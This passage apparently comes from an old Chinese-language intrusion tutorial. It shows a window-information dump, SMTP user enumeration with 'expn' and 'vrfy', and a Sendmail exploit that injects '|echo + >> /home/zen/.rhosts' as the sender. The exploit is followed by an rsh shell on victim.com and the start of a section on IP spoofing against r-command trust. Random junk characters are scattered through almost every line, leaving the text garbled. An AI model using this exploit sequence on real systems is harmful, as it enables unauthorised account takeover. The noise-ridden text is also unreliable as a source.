, R2 Z$ J9 @+ W3 X U, HBit Gravity State: ForgetGravity2 l( R3 C8 ~. B
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Window Gravity State: NorthWestGravity 1 S3 w3 [& i9 ~1 }1 W8 u& c4 a5 e+ S7 j1 z
Backing Store State: NotUseful $ E' z; }1 P4 @: [2 }0 F( h/ l) f6 p( U, |# B
Save Under State: no 2 T8 d* {) ` E, ]1 c: k4 \) E5 q4 x7 n( O. f
Map State: IsViewable . I5 o! N9 u! P. A4 B: P) k* y/ z) z9 v7 n- h# E) c9 y
Override Redirect State: no 8 ?: x; f1 P/ O0 u1 F7 r. H: ?: M: L M" W: Y( D; v6 s4 v
Corners: +0+0 -0+0 -0-0 +0-0 " Y' _' o. a/ H2 X* n 7 ?. J- z3 N; C+ I; R5 O-geometry 1152x900+0+0+ G5 j! E- T( a ~
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(samsa:can't be greater!!!!!!!!!!!) ) I: {9 f" O9 |# U 2 k( _0 ?7 n; e2 W4 k# i" K( Y7) smtp. P/ ~- d2 G" C7 l" q" Z0 A; P
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# telnet numen smtp% z* Q) t4 {# G
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Trying 192.168.0.198...& ^1 M6 [2 I8 E9 M0 F/ F
! {* s5 {! s S* m% tConnected to numen. $ f. S: }' F2 B" j9 t5 a9 R$ S / c( E- j' Z. l$ TEscape character is '^]'. ( M& n+ _2 Q% U5 D' c J. J* R, n. m+ K! F8 @220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800: b" }1 s. a8 V8 L
G9 G/ M' s y$ l1 b0 {(CST)( N& V+ n4 J: R, y( m, ]8 K; ^
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expn root) G& U3 o( J& k% F, |( M0 v- R9 j4 K
% [0 e$ R: H r! J250 Super-User <">root@numen.ac.cn> $ e. [: @: ^! {0 R# n) d' C. u9 K& I, |. @6 g
vrfy ylx: J1 l, ^/ p) y# C8 ?) b: }2 \6 |
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250 <">ylx@numen.ac.cn>$ h6 `" C; f: _7 c* m
7 n9 G5 w* v9 u+ X* i8 C, DTrying xxx.xxx.xxx.xxx... 2 p7 C6 C' D' O; R+ h; `) |+ ?8 v& E. D' r2 k: ?) ]
Connected to victim.com & _7 Z0 R. W0 Y4 _9 b$ D5 J- M/ Z, H) j8 ~* W# w6 t
Escape character is '^]'. # n& m# ~( g" @; d* n) V7 g! @) H$ ]
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:049 v, I8 ]# b% {5 L) X
& B( [' D, t6 v( w$ y' c" Dmail from: "|echo + >> /home/zen/.rhosts" 5 D, v& L( L9 Y/ G6 l( s. S5 X; B; J$ W7 i' _7 ~* \& P( u E
250 "|echo + >> /home/zen/.rhosts"... Sender ok , s! c: Z" s6 A5 u6 ?! |5 x- Z! n p1 ]/ i" ^0 K/ ?
rcpt to: nosuchuser + p# c' x; ~$ h , q& T4 J3 k, A( f" X0 f550 nosuchuser... User unknown& g7 U1 d1 A, y3 K
9 R7 i; i0 e6 M4 [1 Idata 0 h' x4 }3 T: @ u; x 2 D' C+ P0 U7 b6 e: i" `354 Enter mail, end with "." on a line by itself1 r6 ~& z4 c8 N8 {( ?8 c' r9 ~8 a( e) I
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250 Mail accepted& W/ F$ L1 E1 n7 n' o( m
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quit 8 u8 |( s$ S6 `' Q1 \; X( Y) D4 n
Connection closed by foreign host. ; W, @7 }8 [1 \: k, o& I c' l& U; y$ Y2 ]
# rsh victim.com -l zen csh -i , X5 b. z# r! O% A" _0 g* K# y1 V! H
Welcome to victim.com! ' z9 b7 U( Y( I6 f- c5 M # u& D4 I7 U$ I/ W$ 9 w& @8 N3 h3 U$ I$ x& B; i( R: m2 B; o2 r
2.3.3) IP-spoofing : Y. J: A- N4 H# W0 b& b O1 O; T2 o$ X. q1 m" Y7 n
r-命令的信任關(guān)系建立在IP上,所以通過IP-spoofing可以獲得信任; & D9 v' b) D1 |5 { . ~) k% q+ O( x3 c+ D, Y& y1 U3) rexec, q( P, ?/ b& Y/ {9 ?& A